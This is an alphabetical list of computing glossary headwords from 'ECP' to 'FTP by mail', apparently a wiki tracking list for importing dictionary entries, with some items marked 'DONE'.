ECP&lt;br&gt;
ECRC&lt;br&gt;
ECRC-Prolog&lt;br&gt;
ECSL&lt;br&gt;
ECSP&lt;br&gt;
ECSS II&lt;br&gt;
ECSSL&lt;br&gt;
ed&lt;br&gt;
EDA&lt;br&gt;
e-ddress&lt;br&gt;
Eden&lt;br&gt;
EDF&lt;br&gt;
EDI&lt;br&gt;
EDIF&lt;br&gt;
EDIFACT&lt;br&gt;
Edinburgh Multi Access System&lt;br&gt;
Edinburgh Prolog&lt;br&gt;
Edinburgh SML&lt;br&gt;
Edison&lt;br&gt;
EDL&lt;br&gt;
EDM&lt;br&gt;
EdML&lt;br&gt;
EDMS&lt;br&gt;
EDO DRAM&lt;br&gt;
EDO memory&lt;br&gt;
EDO RAM&lt;br&gt;
EDP&lt;br&gt;
EDRAM&lt;br&gt;
e-dress&lt;br&gt;
EDS+&lt;br&gt;
edu&lt;br&gt;
edutainment&lt;br&gt;
Edward Lorenz&lt;br&gt;
Edward Yourdon&lt;br&gt;
ee&lt;br&gt;
EEMA&lt;br&gt;
EEPROM&lt;br&gt;
EER&lt;br&gt;
E. F. Codd&lt;br&gt;
EFF&lt;br&gt;
effective computable&lt;br&gt;
effective number of bits&lt;br&gt;
Effort Adjustment Factor&lt;br&gt;
EFL&lt;br&gt;
EFNet&lt;br&gt;
Eforth&lt;br&gt;
E-Forth&lt;br&gt;
EFT&lt;br&gt;
EFTS&lt;br&gt;
eg&lt;br&gt;
EGA&lt;br&gt;
egosurfing&lt;br&gt;
EGP&lt;br&gt;
egrep&lt;br&gt;
Eh&lt;br&gt;
eh&lt;br&gt;
EHTS&lt;br&gt;
EIA&lt;br&gt;
EIA-232&lt;br&gt;
EIDE&lt;br&gt;
Eiffel&lt;br&gt;
Eiffel source checker&lt;br&gt;
eigenvalue&lt;br&gt;
eigenvector&lt;br&gt;
eight-bit clean&lt;br&gt;
eight queens problem&lt;br&gt;
eight queens puzzle&lt;br&gt;
eighty-column mind&lt;br&gt;
EISA -- '''DONE''' (redirected to Extended Industry Standard Architecture)&lt;br&gt;
EJB&lt;br&gt;
EL1&lt;br&gt;
el(alpha)&lt;br&gt;
Elan&lt;br&gt;
El Camino Bignum&lt;br&gt;
elder days&lt;br&gt;
Electing a Pope&lt;br&gt;
Electrically Alterable Programmable Read-Only Memory&lt;br&gt;
Electrically Erasable Programmable Read-Only Memory&lt;br&gt;
Electromagnetic Compatibility&lt;br&gt;
electromigration&lt;br&gt;
electron&lt;br&gt;
electronic commerce&lt;br&gt;
Electronic Commerce Dictionary&lt;br&gt;
electronic data interchange&lt;br&gt;
Electronic Data Processing&lt;br&gt;
Electronic Design Automation&lt;br&gt;
Electronic Frontier Foundation&lt;br&gt;
electronic funds transfer&lt;br&gt;
electronic funds transfer system&lt;br&gt;
electronic magazine&lt;br&gt;
electronic mail&lt;br&gt;
electronic mail address&lt;br&gt;
electronic meeting&lt;br&gt;
Electronic Numerical Integrator and Computer&lt;br&gt;
Electronic Performance Support System&lt;br&gt;
Electronics Industry Association&lt;br&gt;
electronic whiteboarding&lt;br&gt;
electron model&lt;br&gt;
electron tube&lt;br&gt;
Electrostatic Discharge&lt;br&gt;
elegant&lt;br&gt;
element &lt;br&gt;
elephant&lt;br&gt;
elephantine&lt;br&gt;
elevator controller&lt;br&gt;
ELF&lt;br&gt;
ELI&lt;br&gt;
Eli Compiler Construction System&lt;br&gt;
ELISP&lt;br&gt;
elite&lt;br&gt;
ELIZA '''DONE'''&lt;br&gt;
ELIZA effect '''DONE'''&lt;br&gt;
Elk&lt;br&gt;
ELLA&lt;br&gt;
Ellemtel&lt;br&gt;
Ellie&lt;br&gt;
ELLIS&lt;br&gt;
elm&lt;br&gt;
ELMAGUIDE&lt;br&gt;
ELMAMETA&lt;br&gt;
ELP&lt;br&gt;
ELSIE&lt;br&gt;
Elvis&lt;br&gt;
elvish&lt;br&gt;
EM&lt;br&gt;
EM-1&lt;br&gt;
EMA&lt;br&gt;
Emacs&lt;br&gt;
Emacs Lisp&lt;br&gt;
e-mail&lt;br&gt;
e-mail address&lt;br&gt;
EMAS&lt;br&gt;
Embedded Lisp Interpreter&lt;br&gt;
Embedded Mode&lt;br&gt;
embedded system&lt;br&gt;
embedding&lt;br&gt;
EMBLA Pro&lt;br&gt;
embosser&lt;br&gt;
EMC&lt;br&gt;
EMD Enterprises, Inc.&lt;br&gt;
EMDIR&lt;br&gt;
Emerald&lt;br&gt;
Emitter Coupled Logic&lt;br&gt;
EML&lt;br&gt;
EMM&lt;br&gt;
EMM386&lt;br&gt;
emote&lt;br&gt;
emoticon&lt;br&gt;
empeg&lt;br&gt;
empire&lt;br&gt;
empty element tag&lt;br&gt;
EMS&lt;br&gt;
emTeX&lt;br&gt;
EMU8000&lt;br&gt;
emulation&lt;br&gt;
emulator&lt;br&gt;
Emulator program&lt;br&gt;
EMX&lt;br&gt;
enabling&lt;br&gt;
Encapsulated PostScript&lt;br&gt;
encapsulation&lt;br&gt;
encode&lt;br&gt;
encoder&lt;br&gt;
encryption&lt;br&gt;
-endian&lt;br&gt;
endless loop&lt;br&gt;
End Of Line&lt;br&gt;
End of Medium&lt;br&gt;
End Of Text&lt;br&gt;
End Of Transmission&lt;br&gt;
end tag&lt;br&gt;
End Transmission Block&lt;br&gt;
end-user&lt;br&gt;
Engelbart, Douglas&lt;br&gt;
engine&lt;br&gt;
English programming language&lt;br&gt;
Enhanced Capabilities Port&lt;br&gt;
Enhanced Dynamic Random Access Memory&lt;br&gt;
Enhanced Graphics Adapter&lt;br&gt;
Enhanced IDE&lt;br&gt;
Enhanced Integrated Drive Electronics&lt;br&gt;
enhanced parallel port&lt;br&gt;
Enhanced Small Disk Interface&lt;br&gt;
enhancement&lt;br&gt;
ENIAC&lt;br&gt;
Enigma&lt;br&gt;
ENOB&lt;br&gt;
ENQ&lt;br&gt;
Ente Nazionale Italiano di Unificazione&lt;br&gt;
enterprise&lt;br&gt;
Enterprise Application Integration&lt;br&gt;
Enterprise JavaBeans&lt;br&gt;
Enterprise Resource Planning&lt;br&gt;
Enterprise Systems CONnectivity&lt;br&gt;
EntireX&lt;br&gt;
entity-relationship diagram&lt;br&gt;
entity-relationship model&lt;br&gt;
entropy&lt;br&gt;
Entry Sequenced Data Set&lt;br&gt;
enumerated type&lt;br&gt;
enumeration&lt;br&gt;
environment&lt;br&gt;
environment variable&lt;br&gt;
Envoy&lt;br&gt;
[[end-of-file|EOF]] '''DONE'''&lt;br&gt;
EOL&lt;br&gt;
EOT&lt;br&gt;
EOU&lt;br&gt;
EOUG&lt;br&gt;
EP&lt;br&gt;
EPCS&lt;br&gt;
EPILOG&lt;br&gt;
EPIM&lt;br&gt;
EPL&lt;br&gt;
epoch&lt;br&gt;
EPP&lt;br&gt;
EPROM&lt;br&gt;
EPROM OTP&lt;br&gt;
EPROS&lt;br&gt;
EPS&lt;br&gt;
EPSILON&lt;br&gt;
epsilon&lt;br&gt;
epsilon squared&lt;br&gt;
EPSIMONE&lt;br&gt;
EPSS&lt;br&gt;
EqL&lt;br&gt;
EQLOG&lt;br&gt;
EQLog&lt;br&gt;
Eqn&lt;br&gt;
equals&lt;br&gt;
equational logic&lt;br&gt;
Equel&lt;br&gt;
equivalence class&lt;br&gt;
equivalence class partitioning&lt;br&gt;
equivalence relation&lt;br&gt;
ER&lt;br&gt;
er&lt;br&gt;
[[Engineering Research Associates|ERA]] '''DONE''' (Engineering Research Associates)&lt;br&gt;
era&lt;br&gt;
Erasable Programmable Read-Only Memory&lt;br&gt;
erase&lt;br&gt;
ERC&lt;br&gt;
ERCIM&lt;br&gt;
ERD&lt;br&gt;
EREW PRAM&lt;br&gt;
ERFPI&lt;br&gt;
ergonomic&lt;br&gt;
ergonomics&lt;br&gt;
ERGO-Shell&lt;br&gt;
Eric Conspiracy&lt;br&gt;
Eric S. Raymond&lt;br&gt;
Eris&lt;br&gt;
Erlang&lt;br&gt;
erotica&lt;br&gt;
ERP&lt;br&gt;
error&lt;br&gt;
error-based testing&lt;br&gt;
error correcting memory&lt;br&gt;
error detection and correction&lt;br&gt;
es&lt;br&gt;
ES-1&lt;br&gt;
ESA&lt;br&gt;
ESC&lt;br&gt;
ESCAPE&lt;br&gt;
escape&lt;br&gt;
escape sequence&lt;br&gt;
ESCD&lt;br&gt;
ESCON&lt;br&gt;
escrow&lt;br&gt;
ESD&lt;br&gt;
ESDI&lt;br&gt;
ESF&lt;br&gt;
ESI&lt;br&gt;
esim&lt;br&gt;
ESL&lt;br&gt;
ESLPDPRO&lt;br&gt;
ESML&lt;br&gt;
ESMTP&lt;br&gt;
ESP&lt;br&gt;
ESPOL&lt;br&gt;
ESPRIT&lt;br&gt;
ESR&lt;br&gt;
essential complexity&lt;br&gt;
Estelle&lt;br&gt;
Esterel&lt;br&gt;
EstPC&lt;br&gt;
ET&lt;br&gt;
et&lt;br&gt;
ET++&lt;br&gt;
eta abstraction&lt;br&gt;
eta conversion&lt;br&gt;
eta expansion&lt;br&gt;
eta reduction&lt;br&gt;
ETB&lt;br&gt;
ETC&lt;br&gt;
e-text&lt;br&gt;
ETHER&lt;br&gt;
EtherGate&lt;br&gt;
[[Ethernet]] '''DONE'''&lt;br&gt;
Ethernet address&lt;br&gt;
Ethernet meltdown&lt;br&gt;
EtherTalk&lt;br&gt;
ethics&lt;br&gt;
ETM&lt;br&gt;
ETRN&lt;br&gt;
ETSI&lt;br&gt;
ETX&lt;br&gt;
Euclid&lt;br&gt;
Euclidean Algorithm&lt;br&gt;
Euclid's Algorithm&lt;br&gt;
Eudora&lt;br&gt;
EULA&lt;br&gt;
EULER&lt;br&gt;
EuLisp&lt;br&gt;
EUnet Ltd.&lt;br&gt;
Euphoria&lt;br&gt;
Eureka&lt;br&gt;
Eureka step&lt;br&gt;
Eurisko&lt;br&gt;
Eurocard&lt;br&gt;
Euro-ISDN&lt;br&gt;
EuroNet&lt;br&gt;
EuropaNET&lt;br&gt;
European Academic and Research Network&lt;br&gt;
European Computer-Industry Research Centre GmbH&lt;br&gt;
European Strategic Programme for Research in Information Technology&lt;br&gt;
European Telecommunications Standards Institute&lt;br&gt;
EUUG&lt;br&gt;
EV6&lt;br&gt;
Eva&lt;br&gt;
EVALUATE&lt;br&gt;
evaluation&lt;br&gt;
evaluation strategy&lt;br&gt;
evaluator&lt;br&gt;
EVE&lt;br&gt;
event&lt;br&gt;
event-driven&lt;br&gt;
EVGA&lt;br&gt;
evil&lt;br&gt;
evil and rude&lt;br&gt;
evolutionary algorithm&lt;br&gt;
evolutionary computation&lt;br&gt;
evolutionary programming&lt;br&gt;
evolution strategy&lt;br&gt;
EWOS&lt;br&gt;
exa-&lt;br&gt;
Exabyte&lt;br&gt;
exabyte&lt;br&gt;
examining the entrails&lt;br&gt;
EXAPT&lt;br&gt;
Exceed&lt;br&gt;
Excel&lt;br&gt;
Excelan&lt;br&gt;
Excelerator&lt;br&gt;
exception&lt;br&gt;
exception handler&lt;br&gt;
EXCH&lt;br&gt;
Exchange Server&lt;br&gt;
excl&lt;br&gt;
exclamation mark&lt;br&gt;
EXE&lt;br&gt;
EXEC&lt;br&gt;
exec&lt;br&gt;
EXEC 2&lt;br&gt;
EXEC 8&lt;br&gt;
executable&lt;br&gt;
executable content&lt;br&gt;
execute&lt;br&gt;
execution&lt;br&gt;
executive&lt;br&gt;
Executive Systems Programming Oriented Language&lt;br&gt;
exercise, left as an&lt;br&gt;
exhaustive testing&lt;br&gt;
existential quantifier&lt;br&gt;
EXODUS&lt;br&gt;
eXodus&lt;br&gt;
EXOS&lt;br&gt;
expanded memory&lt;br&gt;
expanded memory manager&lt;br&gt;
expanded memory page frame&lt;br&gt;
Expanded Memory Specification&lt;br&gt;
expansion card&lt;br&gt;
expansion slot&lt;br&gt;
expect&lt;br&gt;
eXperimental LISP&lt;br&gt;
Experimental Physics Control Systems&lt;br&gt;
Experimental Programming Language&lt;br&gt;
Expert Judgement Models&lt;br&gt;
expert system&lt;br&gt;
Expert Systems Ltd.&lt;br&gt;
explicit parallelism&lt;br&gt;
explicit type conversion&lt;br&gt;
exploit&lt;br&gt;
Exploratory Data Analysis&lt;br&gt;
exponent&lt;br&gt;
exponential&lt;br&gt;
exponential-time&lt;br&gt;
exponential-time algorithm&lt;br&gt;
Express&lt;br&gt;
expression&lt;br&gt;
expression tree&lt;br&gt;
extend&lt;br&gt;
extended addressing&lt;br&gt;
Extended Affix Grammar '''DONE'''&lt;br&gt;
Extended ALGOL&lt;br&gt;
Extended Architecture&lt;br&gt;
Extended Backus-Naur Form&lt;br&gt;
Extended Binary Coded Decimal Interchange Code&lt;br&gt;
Extended BNF&lt;br&gt;
Extended C++&lt;br&gt;
Extended Capabilities Port&lt;br&gt;
Extended Concurrent Prolog&lt;br&gt;
Extended Data Out Dynamic Random Access Memory&lt;br&gt;
Extended Data Out Random Access Memory&lt;br&gt;
Extended Fortran Language&lt;br&gt;
eXtended Graphics Array&lt;br&gt;
Extended Industry-Standard Architecture&lt;br&gt;
extended memory&lt;br&gt;
extended memory manager&lt;br&gt;
Extended Memory Specification&lt;br&gt;
Extended ML&lt;br&gt;
Extended Pascal&lt;br&gt;
Extended Self-containing Prolog&lt;br&gt;
Extended System Configuration Data&lt;br&gt;
Extended Tiny&lt;br&gt;
Extended Video Graphics Array&lt;br&gt;
eXtended Video Graphics Array&lt;br&gt;
extensible&lt;br&gt;
extensible database&lt;br&gt;
Extensible Markup Language&lt;br&gt;
Extensible Shell&lt;br&gt;
Extensible Stylesheet Language&lt;br&gt;
Extensible VAX Editor&lt;br&gt;
extension&lt;br&gt;
extensional&lt;br&gt;
extensional equality&lt;br&gt;
extensionality&lt;br&gt;
Extension Language Kit&lt;br&gt;
Exterior Gateway Protocol&lt;br&gt;
eXternal Data Representation&lt;br&gt;
external memory&lt;br&gt;
EXTRA&lt;br&gt;
extranet&lt;br&gt;
EXUG&lt;br&gt;
[[eyeball search]] '''DONE'''&lt;br&gt;
EZ&lt;br&gt;
ezd&lt;br&gt;
e-zine&lt;br&gt;
f2c&lt;br&gt;
F2F&lt;br&gt;
F68K&lt;br&gt;
FAC&lt;br&gt;
face time&lt;br&gt;
face-to-face&lt;br&gt;
Facile&lt;br&gt;
facsimile&lt;br&gt;
FACT&lt;br&gt;
fact&lt;br&gt;
factor&lt;br&gt;
FAD&lt;br&gt;
failover&lt;br&gt;
failure&lt;br&gt;
failure-directed testing&lt;br&gt;
FAIR&lt;br&gt;
Fairchild F8&lt;br&gt;
fall back&lt;br&gt;
fall forward&lt;br&gt;
fall over&lt;br&gt;
fall through&lt;br&gt;
fall thru&lt;br&gt;
FALSE&lt;br&gt;
fandango on core&lt;br&gt;
FAP&lt;br&gt;
FAQ&lt;br&gt;
FAQL&lt;br&gt;
FAQ list&lt;br&gt;
faradise&lt;br&gt;
farkled&lt;br&gt;
farm&lt;br&gt;
farming&lt;br&gt;
FARNET&lt;br&gt;
fas&lt;br&gt;
FASBOL&lt;br&gt;
fascist&lt;br&gt;
FASE&lt;br&gt;
FAST&lt;br&gt;
Fast ATA&lt;br&gt;
Fast ATA-2&lt;br&gt;
Fast Ethernet&lt;br&gt;
Fast Fourier Transform&lt;br&gt;
Fast Packet&lt;br&gt;
Fast Page Mode Dynamic Random Access Memory&lt;br&gt;
Fast SCSI&lt;br&gt;
FAT&lt;br&gt;
FAT32&lt;br&gt;
fatal&lt;br&gt;
fatal error&lt;br&gt;
fatal exception&lt;br&gt;
fat binary&lt;br&gt;
fat client&lt;br&gt;
fat electrons&lt;br&gt;
fault&lt;br&gt;
fault-based testing&lt;br&gt;
fault tolerance&lt;br&gt;
fault tolerant&lt;br&gt;
fault tree analysis&lt;br&gt;
fax&lt;br&gt;
Fax over IP&lt;br&gt;
FC&lt;br&gt;
FC-AL&lt;br&gt;
FCB&lt;br&gt;
F-code&lt;br&gt;
FCP&lt;br&gt;
FC-PGA&lt;br&gt;
FCS&lt;br&gt;
FDC&lt;br&gt;
FDDI '''DONE'''&lt;br&gt; 
FDISK&lt;br&gt;
fd leak&lt;br&gt;
fdlibm&lt;br&gt;
FDMA&lt;br&gt;
FDSE&lt;br&gt;
FDSP&lt;br&gt;
FDT&lt;br&gt;
fdx&lt;br&gt;
FEA&lt;br&gt;
fear and loathing&lt;br&gt;
feasible&lt;br&gt;
feature&lt;br&gt;
feature creature&lt;br&gt;
feature creep&lt;br&gt;
featurectomy&lt;br&gt;
feature key&lt;br&gt;
feature shock&lt;br&gt;
FEC&lt;br&gt;
Federal Geographic Data Committee&lt;br&gt;
Federal Information Exchange&lt;br&gt;
Federal Information Processing Standards&lt;br&gt;
Federal Networking Council&lt;br&gt;
Federation Against Software Theft&lt;br&gt;
feedback&lt;br&gt;
feedback control&lt;br&gt;
feed-forward&lt;br&gt;
Feel&lt;br&gt;
feep&lt;br&gt;
feeper&lt;br&gt;
feeping creature&lt;br&gt;
feeping creaturism&lt;br&gt;
FEL&lt;br&gt;
femto-&lt;br&gt;
fence&lt;br&gt;
fencepost error&lt;br&gt;
fepped out&lt;br&gt;
FEPROM&lt;br&gt;
Fermat prime&lt;br&gt;
Ferranti F100-L&lt;br&gt;
ferrite core memory&lt;br&gt;
Ferroelectric RAM&lt;br&gt;
Ferroelectric Random Access Memory&lt;br&gt;
Fetch&lt;br&gt;
fetch-execute cycle&lt;br&gt;
FF&lt;br&gt;
ffccc&lt;br&gt;
FFP&lt;br&gt;
FFT&lt;br&gt;
FGDC&lt;br&gt;
FGHC&lt;br&gt;
FGL&lt;br&gt;
FGL+LV&lt;br&gt;
FGRAAL&lt;br&gt;
fgrep&lt;br&gt;
FHS&lt;br&gt;
fi&lt;br&gt;
Fiber Distributed Data Interface&lt;br&gt;
Fiber Optic InterRepeater Link&lt;br&gt;
fiber optics&lt;br&gt;
Fibonacci series&lt;br&gt;
Fibre Channel&lt;br&gt;
Fibre Channel-Arbitrated Loop&lt;br&gt;
fibre optics&lt;br&gt;
FIDIL&lt;br&gt;
FIDO&lt;br&gt;
FidoNet&lt;br&gt;
field&lt;br&gt;
field circus&lt;br&gt;
field effect transistor&lt;br&gt;
field mouse&lt;br&gt;
field-programmable gate array&lt;br&gt;
field servoid&lt;br&gt;
FIFO&lt;br&gt;
Fifth&lt;br&gt;
Fifth Dimension Technologies&lt;br&gt;
fifth generation language&lt;br&gt;
fifth normal form&lt;br&gt;
Fight-o-net&lt;br&gt;
file&lt;br&gt;
File Allocation Table&lt;br&gt;
File Attach&lt;br&gt;
File Composition&lt;br&gt;
file compression&lt;br&gt;
file control block&lt;br&gt;
file descriptor&lt;br&gt;
file descriptor leak&lt;br&gt;
file extension&lt;br&gt;
FileMaker&lt;br&gt;
FileMaker, Inc.&lt;br&gt;
filename extension&lt;br&gt;
FileNet&lt;br&gt;
File Request&lt;br&gt;
File Separator&lt;br&gt;
file server&lt;br&gt;
File Service Protocol&lt;br&gt;
file signature&lt;br&gt;
file system&lt;br&gt;
Filesystem Hierarchy Standard&lt;br&gt;
file transfer&lt;br&gt;
File Transfer Protocol&lt;br&gt;
file type&lt;br&gt;
filing system&lt;br&gt;
filk&lt;br&gt;
fill-out form&lt;br&gt;
film at 11&lt;br&gt;
FILO&lt;br&gt;
Filtabyte&lt;br&gt;
filter&lt;br&gt;
filter promotion&lt;br&gt;
FIMS&lt;br&gt;
Finagle's Law&lt;br&gt;
Financial Information eXchange&lt;br&gt;
fine adjuster&lt;br&gt;
fine grain&lt;br&gt;
finger&lt;br&gt;
finger-pointing syndrome&lt;br&gt;
finite&lt;br&gt;
Finite Automata&lt;br&gt;
Finite Automaton&lt;br&gt;
finite differencing&lt;br&gt;
Finite Impulse Response&lt;br&gt;
Finite State Automata&lt;br&gt;
Finite State Automaton&lt;br&gt;
Finite State Machine&lt;br&gt;
finn&lt;br&gt;
FIPS&lt;br&gt;
FIR&lt;br&gt;
firebottle&lt;br&gt;
firefighting&lt;br&gt;
firehose syndrome&lt;br&gt;
firewall&lt;br&gt;
firewall code&lt;br&gt;
firewall machine&lt;br&gt;
Firewire -- '''DONE'''&lt;br&gt;
fireworks mode&lt;br&gt;
Firmware&lt;br&gt;
firmy&lt;br&gt;
first class module&lt;br&gt;
First Fit&lt;br&gt;
first generation computer&lt;br&gt;
first generation language&lt;br&gt;
first-in first-out&lt;br&gt;
first normal form&lt;br&gt;
first-order&lt;br&gt;
first-order logic&lt;br&gt;
First Party DMA&lt;br&gt;
fish&lt;br&gt;
FISH queue&lt;br&gt;
FITNR&lt;br&gt;
FITS&lt;br&gt;
FIX&lt;br&gt;
fix&lt;br&gt;
fixed disk&lt;br&gt;
fixed point&lt;br&gt;
fixed-point&lt;br&gt;
fixed point combinator&lt;br&gt;
fixed-width&lt;br&gt;
FIXME&lt;br&gt;
fixpoint&lt;br&gt;
fj&lt;br&gt;
Fjolnir&lt;br&gt;
fk&lt;br&gt;
FL&lt;br&gt;
F+L&lt;br&gt;
flag&lt;br&gt;
flag day&lt;br&gt;
FLAIR&lt;br&gt;
flaky&lt;br&gt;
flamage&lt;br&gt;
flame&lt;br&gt;
flame bait&lt;br&gt;
flame off&lt;br&gt;
flame on&lt;br&gt;
flamer&lt;br&gt;
flame war&lt;br&gt;
flaming&lt;br&gt;
FLAP&lt;br&gt;
flap&lt;br&gt;
flapping router&lt;br&gt;
flarp&lt;br&gt;
Flash&lt;br&gt;
Flash EPROM&lt;br&gt;
Flash Erasable Programmable Read-Only Memory&lt;br&gt;
flash memory&lt;br&gt;
Flash ROM&lt;br&gt;
flat&lt;br&gt;
flat address space&lt;br&gt;
flat ASCII&lt;br&gt;
flat file&lt;br&gt;
flatten&lt;br&gt;
flat thunk&lt;br&gt;
flavor&lt;br&gt;
flavorful&lt;br&gt;
Flavors&lt;br&gt;
flavour&lt;br&gt;
Fleng&lt;br&gt;
FLEX&lt;br&gt;
Flex&lt;br&gt;
Flex++&lt;br&gt;
Flex 2&lt;br&gt;
flib&lt;br&gt;
FLIC&lt;br&gt;
FLIP&lt;br&gt;
Flip Chip Pin Grid Array&lt;br&gt;
flip-flop&lt;br&gt;
flippy&lt;br&gt;
FLIP-SPUR&lt;br&gt;
floating-point&lt;br&gt;
floating-point accelerator&lt;br&gt;
Floating-Point SPECbaserate&lt;br&gt;
Floating-Point SPECbaseratio&lt;br&gt;
Floating-Point SPECrate&lt;br&gt;
Floating-Point SPECratio&lt;br&gt;
floating point underflow&lt;br&gt;
Floating-Point Unit&lt;br&gt;
floating underflow&lt;br&gt;
F-Logic&lt;br&gt;
flood&lt;br&gt;
FLOP&lt;br&gt;
Floppy&lt;br&gt;
floppy&lt;br&gt;
floppy disk&lt;br&gt;
floppy disk drive&lt;br&gt;
floppy drive&lt;br&gt;
FLOPS&lt;br&gt;
Flops&lt;br&gt;
floptical&lt;br&gt;
Flow&lt;br&gt;
flow chart&lt;br&gt;
flow control&lt;br&gt;
flower key&lt;br&gt;
FLOW-MATIC or FLOWMATIC&lt;br&gt;
flow of control&lt;br&gt;
FLPL&lt;br&gt;
FLUB&lt;br&gt;
Fluegelman, Andrew&lt;br&gt;
flush&lt;br&gt;
Flynn's taxonomy&lt;br&gt;
fly page&lt;br&gt;
Flyspeck 3&lt;br&gt;
flytrap&lt;br&gt;
FM&lt;br&gt;
fm&lt;br&gt;
FMPL&lt;br&gt;
FMQ&lt;br&gt;
FMS&lt;br&gt;
FMV&lt;br&gt;
FNAL&lt;br&gt;
FNC&lt;br&gt;
[[fnord]]&lt;br&gt;
FN tunnelling&lt;br&gt;
fo&lt;br&gt;
FOAD&lt;br&gt;
FOAF&lt;br&gt;
FOCAL&lt;br&gt;
FOCL&lt;br&gt;
FOCUS&lt;br&gt;
focus group&lt;br&gt;
FOD&lt;br&gt;
FOIL&lt;br&gt;
FoIP&lt;br&gt;
FOIRL&lt;br&gt;
fold case&lt;br&gt;
folder&lt;br&gt;
FOLDOC&lt;br&gt;
followup&lt;br&gt;
font&lt;br&gt;
fontology&lt;br&gt;
foo&lt;br&gt;
foobar&lt;br&gt;
foogol&lt;br&gt;
FOOL&lt;br&gt;
fool file&lt;br&gt;
Fools' Lisp&lt;br&gt;
Foonly&lt;br&gt;
FOOP&lt;br&gt;
footprint&lt;br&gt;
for&lt;br&gt;
fora&lt;br&gt;
FORC&lt;br&gt;
Force&lt;br&gt;
ForceOne&lt;br&gt;
ForceTwo&lt;br&gt;
foreground&lt;br&gt;
foreign key&lt;br&gt;
Foresight&lt;br&gt;
for free&lt;br&gt;
fork&lt;br&gt;
fork bomb&lt;br&gt;
forked&lt;br&gt;
for loop&lt;br&gt;
FORM&lt;br&gt;
FORMAC&lt;br&gt;
FORMAL&lt;br&gt;
Formal Description Technique&lt;br&gt;
[[formal methods]] '''DONE''' &lt;br&gt;
Formal Object Role Modeling Language&lt;br&gt;
formal review&lt;br&gt;
FORMAT-Fortran&lt;br&gt;
Formatting Output Specification Instance&lt;br&gt;
Formes&lt;br&gt;
form factor&lt;br&gt;
form feed&lt;br&gt;
form function&lt;br&gt;
FORML&lt;br&gt;
forms&lt;br&gt;
formula&lt;br&gt;
Formula ALGOL&lt;br&gt;
Forsythe&lt;br&gt;
FORTH&lt;br&gt;
for The Rest Of Them&lt;br&gt;
for The Rest Of Us&lt;br&gt;
Forth Modification Lab&lt;br&gt;
Fortran&lt;br&gt;
Fortran 66&lt;br&gt;
Fortran 77&lt;br&gt;
Fortran 90&lt;br&gt;
Fortran Automatic Symbol Translator&lt;br&gt;
Fortran D&lt;br&gt;
Fortran I&lt;br&gt;
Fortran II&lt;br&gt;
Fortran III&lt;br&gt;
Fortran IV&lt;br&gt;
Fortran-Linda&lt;br&gt;
Fortran M&lt;br&gt;
Fortran Matrix Abstraction Technique Fortran&lt;br&gt;
Fortran-Plus&lt;br&gt;
FORTRANSIT&lt;br&gt;
Fortran V&lt;br&gt;
Fortran VI&lt;br&gt;
Fortrash&lt;br&gt;
FORTRUNCIBLE&lt;br&gt;
fortune cookie&lt;br&gt;
forum&lt;br&gt;
for values of&lt;br&gt;
forward&lt;br&gt;
forward analysis&lt;br&gt;
forward chaining&lt;br&gt;
forward compatibility&lt;br&gt;
forward compatible&lt;br&gt;
forward delta&lt;br&gt;
forward engineering&lt;br&gt;
Forward Error Correction&lt;br&gt;
forwards compatibility&lt;br&gt;
forwards compatible&lt;br&gt;
FORWISS&lt;br&gt;
For Your Information&lt;br&gt;
FOSI&lt;br&gt;
FOSIL&lt;br&gt;
fossil&lt;br&gt;
foundation&lt;br&gt;
FOundation for Research and Technology - Hellas&lt;br&gt;
four-colour glossies&lt;br&gt;
four colour map theorem&lt;br&gt;
four colour theorem&lt;br&gt;
Fourier transform&lt;br&gt;
fourth generation computer&lt;br&gt;
fourth generation language -- '''DONE'''&lt;br&gt;
fourth normal form&lt;br&gt;
Fowler-Nordheim tunnelling&lt;br&gt;
FoxBASE+&lt;br&gt;
FoxPRO&lt;br&gt;
Fox Software&lt;br&gt;
FP&lt;br&gt;
FP2&lt;br&gt;
FPA&lt;br&gt;
fpc&lt;br&gt;
FPGA&lt;br&gt;
FPLMTS&lt;br&gt;
FPM&lt;br&gt;
FP/M&lt;br&gt;
FPM DRAM&lt;br&gt;
fprintf&lt;br&gt;
fps&lt;br&gt;
FPU&lt;br&gt;
FQDN&lt;br&gt;
FQL&lt;br&gt;
fr&lt;br&gt;
fractal&lt;br&gt;
fractal compression&lt;br&gt;
fractal dimension&lt;br&gt;
FRAD&lt;br&gt;
fragile&lt;br&gt;
fragment&lt;br&gt;
fragmentation&lt;br&gt;
FRAM&lt;br&gt;
frame&lt;br&gt;
frame buffer&lt;br&gt;
Frame Check Sequence&lt;br&gt;
frame grabber&lt;br&gt;
FrameKit&lt;br&gt;
FrameMaker&lt;br&gt;
frame pointer&lt;br&gt;
frame rate&lt;br&gt;
Frame Relay&lt;br&gt;
Frame Relay Access Device&lt;br&gt;
frames per second&lt;br&gt;
Frame Technology Corporation&lt;br&gt;
framework&lt;br&gt;
Framework 4&lt;br&gt;
framing specification&lt;br&gt;
FRANK&lt;br&gt;
Franz Lisp&lt;br&gt;
FRED&lt;br&gt;
fred&lt;br&gt;
Fredette's Operating System Interface Language&lt;br&gt;
frednet&lt;br&gt;
free&lt;br&gt;
FreeBSD&lt;br&gt;
FreeHEP&lt;br&gt;
Freenet&lt;br&gt;
FreePPP&lt;br&gt;
freerexx&lt;br&gt;
free software&lt;br&gt;
Free Software Foundation&lt;br&gt;
free variable&lt;br&gt;
freeware&lt;br&gt;
freeze&lt;br&gt;
Frege, Gottlob&lt;br&gt;
frequency division multiple access&lt;br&gt;
frequency division multiplexing&lt;br&gt;
Frequency Modulation&lt;br&gt;
Frequency Shift Keying&lt;br&gt;
frequently asked question&lt;br&gt;
Fresco&lt;br&gt;
Fresh&lt;br&gt;
friction feed&lt;br&gt;
fried&lt;br&gt;
Friend&lt;br&gt;
FRINGE&lt;br&gt;
frink&lt;br&gt;
friode&lt;br&gt;
fritterware&lt;br&gt;
FRL&lt;br&gt;
FRMT-FTRN&lt;br&gt;
frob&lt;br&gt;
frobnicate&lt;br&gt;
frobnitz&lt;br&gt;
Frobozz Magic Programming Language&lt;br&gt;
frogging&lt;br&gt;
Frolic&lt;br&gt;
front end&lt;br&gt;
front-end processor&lt;br&gt;
front side bus&lt;br&gt;
[[frotz]] ''done''&lt;br&gt;
frotzed&lt;br&gt;
frowney&lt;br&gt;
fry&lt;br&gt;
FS&lt;br&gt;
FSB&lt;br&gt;
fsck&lt;br&gt;
FSF&lt;br&gt;
FSK&lt;br&gt;
FSL&lt;br&gt;
FSM&lt;br&gt;
FSP&lt;br&gt;
fsplit&lt;br&gt;
FT&lt;br&gt;
FTAM&lt;br&gt;
FTP&lt;br&gt;
FTP archive&lt;br&gt;
FTP by mail&lt;br&gt;
